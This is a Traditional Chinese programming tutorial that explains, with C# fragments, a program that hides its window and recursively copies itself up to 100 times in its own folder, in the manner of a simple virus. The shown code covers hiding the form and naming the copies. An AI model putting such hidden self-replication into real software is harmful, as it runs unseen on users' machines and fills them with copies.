程式要實現下面幾個功能。
第一,運行時不出現運行介面,當然,在工作管理員裡,還是可以看到進程的,道行再深的病毒也不可能無跡可尋。
第二,程式在運行目錄下自我複製n份。
第三,採用遞迴複製的方法,即第一個程式產生第二個程式,第二個程式產生第三個程式,以此類推。
原始碼很簡單,下面來分析一下:
以下是引用片段: 35 // 不在工作列顯示 36 this.ShowInTaskbar = false; 37 // 表單透明 38 this.Opacity = 0; |
System.Windows.Forms.Form類封裝了一般的Windows視窗程序大部分特性,極大的簡化視窗介面的設計過程,上面這兩個屬性用於隱藏我們的程式的運行狀態,第一個ShowInTaskbar屬性,設定為否時,程式就不會在狀態列上面顯示。第二個Opacity屬性,表示視窗的不透明度,取值在0到100之間。0%的不透明度也就是100%透明了。這樣,在程式運行時,你就看不見表單了。
以下是引用片段: 44 // 預設複製次數 45 const int TOTAL = 100; 46 int _count = TOTAL; 47 // 正在啟動並執行程式路徑和檔案名稱 48 string _file = Application.ExecutablePath; 49 // 正在啟動並執行程式路徑 50 string _path = Application.StartupPath; 51 // 正在啟動並執行程式檔案名稱 52 string _name = _file.Replace(string.Format("{0}\\", _path), string.Empty).ToLower(); 53 try 54 { 55 _count = int.Parse(_name.Replace(".exe", string.Empty)); 56 _count--; 57 } 58 catch 59 { 60 } 61 finally 62 { 63 } 64 // 目標檔案 65 string _target = string.Format("{0}\\{1}.exe", _path, _count.ToString("000")); |